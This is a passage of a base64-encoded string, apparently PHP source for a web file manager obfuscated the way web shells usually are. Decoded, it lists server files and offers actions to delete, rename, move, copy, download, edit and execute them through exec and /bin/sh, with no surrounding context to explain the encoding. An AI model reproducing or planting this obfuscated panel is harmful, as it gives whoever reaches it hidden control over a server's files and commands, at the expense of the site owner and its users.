JheVskcl0gPSAkdG1wOw0KDQoJCQkJJGwrKzsNCgkJCQkkci0tOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCXF1aWNrc29ydCgkYXJyYXksICRmaXJzdCwgJHIsICRrZXkpOw0KCQlxdWlja3NvcnQoJGFycmF5LCAkbCwgJGxhc3QsICRrZXkpOw0KDQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nICgkbW9kZSkgew0KDQoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgew0KCQkkdHlwZSA9ICdzJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7DQoJCSR0eXBlID0gJ2wnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHsNCgkJJHR5cGUgPSAnLSc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgew0KCQkkdHlwZSA9ICdiJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7DQoJCSR0eXBlID0gJ2QnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHsNCgkJJHR5cGUgPSAnYyc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgew0KCQkkdHlwZSA9ICdwJzsNCgl9IGVsc2Ugew0KCQkkdHlwZSA9ICc/JzsNCgl9DQoNCgkkb3duZXIgID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KCSRvd25lciAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHg4MDApIHsNCgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICdzJyA6ICdTJzsNCgl9IGVsc2Ugew0KCQkkb3duZXIgLj0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCX0NCg0KCSRncm91cCAgPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7DQoJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCglpZiAoJG1vZGUgJiAweDQwMCkgew0KCQkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMTApID8gJ3MnIDogJ1MnOw0KCX0gZWxzZSB7DQoJCSRncm91cCAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQoJfQ0KDQoJJG90aGVyICA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4MjAwKSB7DQoJCSRvdGhlciAuPSAoJG1vZGUgJiAwMDAwMSkgPyAndCcgOiAnVCc7DQoJfSBlbHNlIHsNCgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCgl9DQoNCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7DQoNCn0NCg0KZnVuY3Rpb24gaXNfc2NyaXB0ICgkZmlsZW5hbWUpIHsNCglyZXR1cm4gZXJlZygnXC5waHAkfFwucGhwMyR8XC5waHA0JHxcLnBocDUkJywgJGZpbGVuYW1lKTsNCn0NCg0KZnVuY3Rpb24gZ2V0bWltZXR5cGUgKCRmaWxlbmFtZSkgew0KCXN0YXRpYyAkbWltZXMgPSBhcnJheSgNCgkJJ1wuanBnJHxcLmpwZWckJyAgPT4gJ2ltYWdlL2pwZWcnLA0KCQknXC5naWYkJyAgICAgICAgICA9PiAnaW1hZ2UvZ2lmJywNCgkJJ1wucG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsDQoJCSdcLmh0bWwkfFwuaHRtbCQnID0+ICd0ZXh0L2h0bWwnLA0KCQknXC50eHQkfFwuYXNjJCcgICA9PiAndGV4dC9wbGFpbicsDQoJCSdcLnhtbCR8XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLA0KCQknXC5wZGYkJyAgICAgICAgICA9PiAnYXBwbGljYXRpb24vcGRmJw0KCSk7DQoNCglmb3JlYWNoICgkbWltZXMgYXMgJHJlZ2V4ID0+ICRtaW1lKSB7DQoJCWlmIChlcmVnaSgkcmVnZXgsICRmaWxlbmFtZSkpIHJldHVybiAkbWltZTsNCgl9DQoNCgkvLyByZXR1cm4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJcmV0dXJuICd0ZXh0L3BsYWluJzsNCg0KfQ0KDQpmdW5jdGlvbiBkZWwgKCRmaWxlKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmICFmaWxlX2V4aXN0cygkZmlsZSkpIHJldHVybiBmYWxzZTsNCg0KCWlmICghQGlzX2xpbmsoJGZpbGUpICYmIEBpc19kaXIoJGZpbGUpKSB7DQoNCgkJaWYgKCRkaXIgPSBAb3BlbmRpcigkZmlsZSkpIHsNCg0KCQkJJGVycm9yID0gZmFsc2U7DQoNCgkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRkaXIpKSAhPT0gZmFsc2UpIHsNCgkJCQlpZiAoJGYgIT0gJy4nICYmICRmICE9ICcuLicgJiYgIWRlbCgkZmlsZSAuICRkZWxpbSAuICRmKSkgew0KCQkJCQkkZXJyb3IgPSB0cnVlOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRkaXIpOw0KDQoJCQlpZiAoISRlcnJvcikgcmV0dXJuIEBybWRpcigkZmlsZSk7DQoNCgkJCXJldHVybiAhJGVycm9yOw0KDQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCX0gZWxzZSB7DQoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gYWRkc2xhc2ggKCRkaXJlY3RvcnkpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKHN1YnN0cigkZGlyZWN0b3J5LCAtMSwgMSkgIT0gJGRlbGltKSB7DQoJCXJldHVybiAkZGlyZWN0b3J5IC4gJGRlbGltOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkZGlyZWN0b3J5Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiByZWxhdGl2ZTJhYnNvbHV0ZSAoJHN0cmluZywgJGRpcmVjdG9yeSkgew0KDQoJaWYgKHBhdGhfaXNfcmVsYXRpdmUoJHN0cmluZykpIHsNCgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcmVjdG9yeSkgLiAkc3RyaW5nKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gc2ltcGxpZnlfcGF0aCgkc3RyaW5nKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGF0aF9pc19yZWxhdGl2ZSAoJHBhdGgpIHsNCglnbG9iYWwgJHdpbjsNCg0KCWlmICgkd2luKSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAxLCAxKSAhPSAnOicpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhYnNvbHV0ZTJyZWxhdGl2ZSAoJGRpcmVjdG9yeSwgJHRhcmdldCkgew0KCWdsb2JhbCAkZGVsaW07DQoNCgkkcGF0aCA9ICcnOw0KCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsNCgkJaWYgKCRkaXJlY3RvcnkgPT0gc3Vic3RyKCR0YXJnZXQsIDAsIHN0cmxlbigkZGlyZWN0b3J5KSkpIHsNCgkJCSRwYXRoIC49IHN1YnN0cigkdGFyZ2V0LCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJYnJlYWs7DQoJCX0gZWxzZSB7DQoJCQkkcGF0aCAuPSAnLi4nIC4gJGRlbGltOw0KCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsNCgkJfQ0KCX0NCglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOw0KDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoNCmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSAmJiBAcmVhbHBhdGgoJHBhdGgpICE9ICcnKSB7DQoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOw0KCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJCXJldHVybiBhZGRzbGFzaCgkcGF0aCk7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gJHBhdGg7DQoJCX0NCgl9DQoNCgkkcGF0dGVybiAgPSAkZGVsaW0gLiAnLicgLiAkZGVsaW07DQoNCglpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7DQoJfQ0KDQoJd2hpbGUgKHN0cnBvcygkcGF0aCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgew0KCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCRwYXR0ZXJuLCAkZGVsaW0sICRwYXRoKTsNCgl9DQoNCgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsNCgkkcmVnZXggPSAkZSAuICcoKFwuW15cLicgLiAkZSAuICddW14nIC4gJGUgLiAnXSopfChcLlwuW14nIC4gJGUgLiAnXSspfChbXlwuXVteJyAuICRlIC4gJ10qKSknIC4gJGUgLiAnXC5cLicgLiAkZTsNCg0KCXdoaWxlIChlcmVnKCRyZWdleCwgJHBhdGgpKSB7DQoJCSRwYXRoID0gZXJlZ19yZXBsYWNlKCRyZWdleCwgJGRlbGltLCAkcGF0aCk7DQoJfQ0KCQ0KCXJldHVybiAkcGF0aDsNCg0KfQ0KDQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSAoJGZpbGVzaXplKSB7DQoNCgkkc3VmZmljZXMgPSAna01HVFBFJzsNCg0KCSRuID0gMDsNCgl3aGlsZSAoJGZpbGVzaXplID49IDEwMDApIHsNCgkJJGZpbGVzaXplIC89IDEwMjQ7DQoJCSRuKys7DQoJfQ0KDQoJJGZpbGVzaXplID0gcm91bmQoJGZpbGVzaXplLCAzIC0gc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSk7DQoNCglpZiAoc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSAhPT0gZmFsc2UpIHsNCgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgew0KCQkJJGZpbGVzaXplID0gc3Vic3RyKCRmaWxlc2l6ZSwgMCwgc3RybGVuKCRmaWxlc2l6ZSkgLSAxKTsNCgkJfQ0KCX0NCg0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsNCg0KCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOw0KDQp9DQoNCmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgew0KCSRzdHIgPSBzdHJpcHNsYXNoZXMoJHN0cik7DQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gbGlzdGluZ19wYWdlICgkbWVzc2FnZSA9IG51bGwpIHsNCglnbG9iYWwgJHNlbGYsICRkaXJlY3RvcnksICRzb3J0LCAkcmV2ZXJzZTsNCg0KCWh0bWxfaGVhZGVyKCk7DQoNCgkkbGlzdCA9IGdldGxpc3QoJGRpcmVjdG9yeSk7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnc29ydCcsICRfR0VUKSkgJHNvcnQgPSAkX0dFVFsnc29ydCddOyBlbHNlICRzb3J0ID0gJ2ZpbGVuYW1lJzsNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7DQoNCglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsNCg0KCWVjaG8gJw0KDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBpZD0ibWFpbiI+DQonOw0KDQoJZGlyZWN0b3J5X2Nob2ljZSgpOw0KDQoJaWYgKCFlbXB0eSgkbWVzc2FnZSkpIHsNCgkJc3BhY2VyKCk7DQoJCWVjaG8gJG1lc3NhZ2U7DQoJfQ0KDQoJaWYgKEBpc193cml0YWJsZSgkZGlyZWN0b3J5KSkgew0KCQl1cGxvYWRfYm94KCk7DQoJCWNyZWF0ZV9ib3goKTsNCgl9IGVsc2Ugew0KCQlzcGFjZXIoKTsNCgl9DQoNCglpZiAoJGxpc3QpIHsNCgkJbGlzdGluZygkbGlzdCk7DQoJfSBlbHNlIHsNCgkJZWNobyBlcnJvcignbm90X3JlYWRhYmxlJywgJGRpcmVjdG9yeSk7DQoJfQ0KDQoJZWNobyAnPC90YWJsZT4NCg0KPC9mb3JtPg0KDQonOw0KDQoJaHRtbF9mb290ZXIoKTsNCg0KfQ0KDQpmdW5jdGlvbiBsaXN0aW5nICgkbGlzdCkgew0KCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZlcnNlLCAkd2luLCAkY29scywgJGRhdGVfZm9ybWF0LCAkc2VsZjsNCg0KCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+DQoJPHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGUiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPXNtaWxleSIgYWx0PSJzbWlsZXkiIC8+PC90aD4NCic7DQoNCgkkZCA9ICdkaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICcmYW1wOyc7DQoNCglpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdmaWxlbmFtZScpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCWVjaG8gIlx0PHRoIGNsYXNzPVwiZmlsZW5hbWVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9ZmlsZW5hbWUkclwiPiIgLiB3b3JkKCdmaWxlbmFtZScpIC4gIjwvYT48L3RoPlxuIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgllY2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRyXCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cbiI7DQoNCglpZiAoISR3aW4pIHsNCg0KCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdwZXJtaXNzaW9uJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwicGVybWlzc2lvbl9oZWFkZXJcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9cGVybWlzc2lvbiRyXCI+IiAuIHdvcmQoJ3Blcm1pc3Npb24nKSAuICI8L2E+PC90aD5cbiI7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAnb3duZXInKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgkJZWNobyAiXHQ8dGggY2xhc3M9XCJvd25lclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1vd25lciRyXCI+IiAuIHdvcmQoJ293bmVyJykgLiAiPC9hPjwvdGg+XG4iOw0KDQoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlxuIjsNCg0KCX0NCg0KCWVjaG8gJwk8dGggY2xhc3M9ImZ1bmN0aW9ucyI+JyAuIHdvcmQoJ2Z1bmN0aW9ucycpIC4gJzwvdGg+DQo8L3RyPg0KJzsNCg0KCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsNCgkJJGZpbGUgPSAkbGlzdFskaV07DQoNCgkJJHRpbWVzdGFtcHMgID0gJ210aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydtdGltZSddKSAuICcsICc7DQoJCSR0aW1lc3RhbXBzIC49ICdhdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0LCAkZmlsZVsnYXRpbWUnXSkgLiAnLCAnOw0KCQkkdGltZXN0YW1wcyAuPSAnY3RpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2N0aW1lJ10pOw0KDQoJCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+DQoJPHRkIGNsYXNzPSJjaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja2VkJyAuICRpIC4gJyIgdmFsdWU9InRydWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+PC90ZD4NCgk8dGQgY2xhc3M9ImZpbGVuYW1lIiB0aXRsZT0iJyAuIGh0bWwoJHRpbWVzdGFtcHMpIC4gJyI+JzsNCg0KCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgew0KDQoJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1saW5rIiBhbHQ9ImxpbmsiIC8+ICc7DQoJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJyAmcmFycjsgJzsNCg0KCQkJJHJlYWxfZmlsZSA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlWyd0YXJnZXQnXSwgJGRpcmVjdG9yeSk7DQoNCgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsNCgkJCQlpZiAoQGlzX2RpcigkcmVhbF9maWxlKSkgew0KCQkJCQllY2hvICdbIDxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4gXSc7DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249dmlldyZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+JzsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsndGFyZ2V0J10pOw0KCQkJfQ0KDQoJCX0gZWxzZWlmICgkZmlsZVsnaXNfZGlyJ10pIHsNCg0KCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9Zm9sZGVyIiBhbHQ9ImZvbGRlciIgLz4gWyAnOw0KCQkJaWYgKCR3aW4gfHwgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSkgew0KCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJCQl9DQoJCQllY2hvICcgXSc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKHN1YnN0cigkZmlsZVsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy4nKSB7DQoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9aGlkZGVuX2ZpbGUiIGFsdD0iaGlkZGVuIGZpbGUiIC8+ICc7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZpbGUiIGFsdD0iZmlsZSIgLz4gJzsNCgkJCX0NCg0KCQkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX3JlYWRhYmxlJ10pIHsNCgkJCSAgIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICciPicgLiBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICc8L2E+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKTsNCgkJCX0NCg0KCQl9DQoNCgkJaWYgKCRmaWxlWydzaXplJ10gPj0gMTAwMCkgew0KCQkJJGh1bWFuID0gJyB0aXRsZT0iJyAuIGh1bWFuX2ZpbGVzaXplKCRmaWxlWydzaXplJ10pIC4gJyInOw0KCQl9IGVsc2Ugew0KCQkJJGh1bWFuID0gJyc7DQoJCX0NCg0KCQllY2hvICJcdDx0ZCBjbGFzcz1cInNpemVcIiRodW1hbj57JGZpbGVbJ3NpemUnXX0gQjwvdGQ+XG4iOw0KDQoJCWlmICghJHdpbikgew0KDQoJCQllY2hvICJcdDx0ZCBjbGFzcz1cInBlcm1pc3Npb25cIiB0aXRsZT1cIiIgLiBkZWNvY3QoJGZpbGVbJ3Blcm1pc3Npb24nXSkgLiAnIj4nOw0KDQoJCQkkbCA9ICEkZmlsZVsnaXNfbGluayddICYmICghZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXR1aWQnKSB8fCAkZmlsZVsnb3duZXInXSA9PSBwb3NpeF9nZXR1aWQoKSk7DQoJCQlpZiAoJGwpIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+JzsNCgkJCWVjaG8gaHRtbChwZXJtaXNzaW9uX29jdGFsMnN0cmluZygkZmlsZVsncGVybWlzc2lvbiddKSk7DQoJCQlpZiAoJGwpIGVjaG8gJzwvYT4nOw0KDQoJCQllY2hvICI8L3RkPlxuIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiPnskZmlsZVsnb3duZXInXX08L3RkPlxuIjsNCgkJCX0NCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cImdyb3VwXCIgdGl0bGU9XCJnaWQ6IHskZmlsZVsnZ3JvdXAnXX1cIj57JGZpbGVbJ2dyb3VwX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsNCgkJCX0NCg0KCQl9DQoNCgkJZWNobyAnCTx0ZCBjbGFzcz0iZnVuY3Rpb25zIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZScgLiAkaSAuICciIHZhbHVlPSInIC4gaHRtbCgkZmlsZVsncGF0aCddKSAuICciIC8+DQonOw0KDQoJCSRhY3Rpb25zID0gYXJyYXkoKTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NyZWF0ZV9zeW1saW5rJzsNCgkJfQ0KCQlpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2RlbGV0ZSc7DQoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7DQoJCQkkYWN0aW9uc1tdID0gJ21vdmUnOw0KCQl9DQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NvcHknOw0KCQkJJGFjdGlvbnNbXSA9ICdkb3dubG9hZCc7DQoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAnZWRpdCc7DQoJCX0NCgkJaWYgKCEkd2luICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSAmJiBmaWxlX2V4aXN0cygnL2Jpbi9zaCcpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOw0KCQl9DQoNCgkJaWYgKHNpemVvZigkYWN0aW9ucykgPiAwKSB7DQoNCgkJCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFjdGlvbicgLiAkaSAuICciIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJCQlmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCQkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIkYWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOw0KCQkJfQ0KDQoJCQllY2hvICcJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQonOw0KDQoJCX0NCg0KCQllY2hvICcJPC90ZD4NCjwvdHI+DQonOw0KDQoJfQ0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nX2Zvb3RlciI+DQoJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcCI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9YXJyb3ciIGFsdD0iJmd0OyIgLz48L3RkPg0KCTx0ZCBjb2xzcGFuPSInIC4gKCRjb2xzIC0gMSkgLiAnIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibnVtIiB2YWx1ZT0iJyAuIHNpemVvZigkbGlzdCkgLiAnIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb2N1cyIgdmFsdWU9IiIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KJzsNCg0KCSRhY3Rpb25zID0gYXJyYXkoKTsNCglpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCSRhY3Rpb25zW10gPSAnZGVsZXRlJzsNCgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgl9DQoJJGFjdGlvbnNbXSA9ICdjb3B5JzsNCg0KCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFjdGlvbl9hbGwiIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcm